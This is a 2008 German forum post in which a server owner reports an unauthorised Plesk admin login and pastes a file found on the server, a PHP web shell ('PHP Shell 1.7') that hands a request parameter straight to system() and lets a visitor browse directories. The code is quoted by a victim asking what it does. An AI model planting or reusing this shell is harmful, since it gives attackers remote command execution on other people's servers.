Einzelnen Beitrag anzeigen

Chrissi91

Registriert seit: 28. Jul 2005
849 Beiträge
 
#1

[PHP] Scriptvirus von Hacker auf meinen Server gelegt?

  Alt 28. Aug 2008, 12:30
Hallo,

ich habe einen Managed vServer bei Netclusive, sprich Netclusive ist für die Sicherheitsupdates & Co verantwortlich.

Gestern Abend frage ich meine E-Mails ab und just in dem Moment trudelt eine Mail vom Virtuozzo Plesk Panel ein, dass ein neuer Client (Kunde) eingerichtet wurde namens aba und einer Domain tst.com

Ich kurz vor dem Herzinfarkt , logge mich ein und sehe unter Sessions, dass sich jemand als Admin eingeloggt hat. Die IP stammte aus Spanien (67.***.**.** oder so)

Ich habe ihn also gekickt (nachdem er laut Angaben von Plesk schon 27 Minuten eingeloggt war). Nach 5 Sekunden war er wieder drin.

Ich richte daraufhin eine IP-Sperre für alle ein, abgesehen von meiner IP-Range. Soweit so gut. Überltäter kam nicht mehr wieder. Habe die eingetragenen Domains und Clients gelöscht.

Ich bemerkte eben, dass manche Services des Servers nicht mehr gingen. Hab eine Menge rumgeschraubt, ging aber trotzdem nicht. Ich will also VPS neuinstallieren, ziehe nochmal ein Backup und sehe da im Stammverzeichnis eine cgi.php mit folgendem Code:

Code:
<?php
define('PHPSHELL_VERSION', '1.7');
?>
<html>
<head>
<title>PHP Shell <?php echo offender ?></title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250"></head>
<body>
<style>
body{
   background-color: #000000;
   font-family : sans-serif;
   font-size : 13px;
   scrollbar-face-color: #00FF00;
   scrollbar-shadow-color: #E4317F;
   scrollbar-highlight-color: #FF0000;
   scrollbar-3dlight-color: #806517;
   scrollbar-darkshadow-color: #254117;
   scrollbar-track-color: #254117;
   scrollbar-arrow-color: #736AFF;
}
input,select,option{
   background-color: #000000;
   color : #00FF00;
   border-style : solid;
   font-size : 13px;
}
textarea{
   background-color: #000000;
   color : #00FF00;
   border-style : dotted;
   font-size : 13px;
}
</style>
<body bgcolor=#000000 TEXT=#00ff00 Link=Red vLink=Gray aLink=Aqua background="back.gif"></BODY></HTML>
<h1>PHP Shell <?php echo offender ?></h1>
<?php
if (ini_get('register_globals') != '1') { 
  /* We'll register the variables as globals: */ 
  if (!empty($HTTP_POST_VARS))
    extract($HTTP_POST_VARS);
   
  if (!empty($HTTP_GET_VARS))
    extract($HTTP_GET_VARS);
  if (!empty($HTTP_SERVER_VARS))
    extract($HTTP_SERVER_VARS);

/* First we check if there has been asked for a working directory. */ 
if (!empty($work_dir)) { 
  /* A workdir has been asked for */ 
  if (!empty($command)) { 
    if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { 
      /* We try and match a cd command. */ 
      if ($regs[1][0] == '/') { 
        $new_dir = $regs[1]; // 'cd /something/...'
      } else { 
        $new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...'
      } 
      if (file_exists($new_dir) && is_dir($new_dir)) { 
        $work_dir = $new_dir;
      } 
      unset($command);
    } 
  } 

if (file_exists($work_dir) && is_dir($work_dir)) { 
  /* We change directory to that dir: */ 
  chdir($work_dir);

/* We now update $work_dir to avoid things like '/foo/../bar': */ 
$work_dir = exec('pwd');
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">


Current working directory: [b]
<?php
$work_dir_splitted = explode('/', substr($work_dir, 1));
echo '[url="' . $PHP_SELF . '?work_dir=/"]Root[/url]/';
if (!empty($work_dir_splitted[0])) { 
  $path = '';
  for ($i = 0; $i < count($work_dir_splitted); $i++) { 
    $path .= '/' . $work_dir_splitted[$i];
    printf('[url="%s?work_dir=%s"]%s[/url]/',
           $PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
  } 

?>[/b]</p>


Choose new working directory:
<select name="work_dir" onfiltered="this.form.submit()">
<?php
/* Now we make a list of the directories. */ 
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */ 
while ($dir = readdir($dir_handle)) { 
  if (is_dir($dir)) { 
    if ($dir == '.') { 
      echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
    } elseif ($dir == '..') { 
      /* We have found the parent dir. We must be carefull if the parent
     directory is the root directory (/). */ 
      if (strlen($work_dir) == 1) { 
    /* work_dir is only 1 charecter - it can only be / There's no
          parent directory then. */ 
      } elseif (strrpos($work_dir, '/') == 0) { 
    /* The last / in work_dir were the first charecter.
       This means that we have a top-level directory
       eg. /bin or /home etc... */ 
      echo "<option value=\"/\">Parent Directory</option>\n";
      } else { 
      /* We do a little bit of string-manipulation to find the parent
     directory... Trust me - it works :-) */ 
      echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
      } 
    } else { 
      if ($work_dir == '/') { 
    echo "<option value=\"$work_dir$dir\">$dir</option>\n";
      } else { 
    echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
      } 
    } 
  } 

closedir($dir_handle);
?>
</select></p>


Command: <input type="text" name="command" size="60">
<input name="submit_btn" type="submit" value="Execute Command"></p>


Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>
<textarea cols="80" rows="20" readonly>
<?php
if (!empty($command)) { 
  if ($stderr) { 
    $tmpfile = tempnam('/tmp', 'phpshell');
    $command .= " 1> $tmpfile 2>&1; " .
    "cat $tmpfile; rm $tmpfile";
  } else if ($command == 'ls') { 
    /* ls looks much better with ' -F', IMHO. */ 
    $command .= ' -F';
  } 
  system($command);

?>
Laut AntiVir ein PHP Scriptvirus. Kann mir jemand genaueres sagen? Was bezweckt dieser Code? Meinen Hoster habe ich schon informiert, die konnten aber keinen dokumentierten Angriff aus Spanien finden. Und mein Passwort sollte wirklich lang genug sein und auch sicher genug.

Ich habe es jetzt geändert, aber mich würde schon interessieren, warum irgendjemand einen angelichen "PHP Scriptvirus" auf den Server hochlädt. Die Datei wurde nichtmal verlinkt, sodass sie aufgerufen wurde. Und warum wurde die Domain tst.com auf meinen Namen eingetragen?

P.S.: Habe den Code mal genauer angesehen. Kann es sein, dass er einfach ein Edit anzeigt und er darüber Befehle eingeben kann, die ausgeführt werden?

P.P.S.: Im Anhang mal ein Screen der Datei (ist natürlich nicht mehr auf dem Server). Sieht so aus als hätte ich Recht gehabt!
Miniaturansicht angehängter Grafiken
unbenannt_571.jpg  
  Mit Zitat antworten Zitat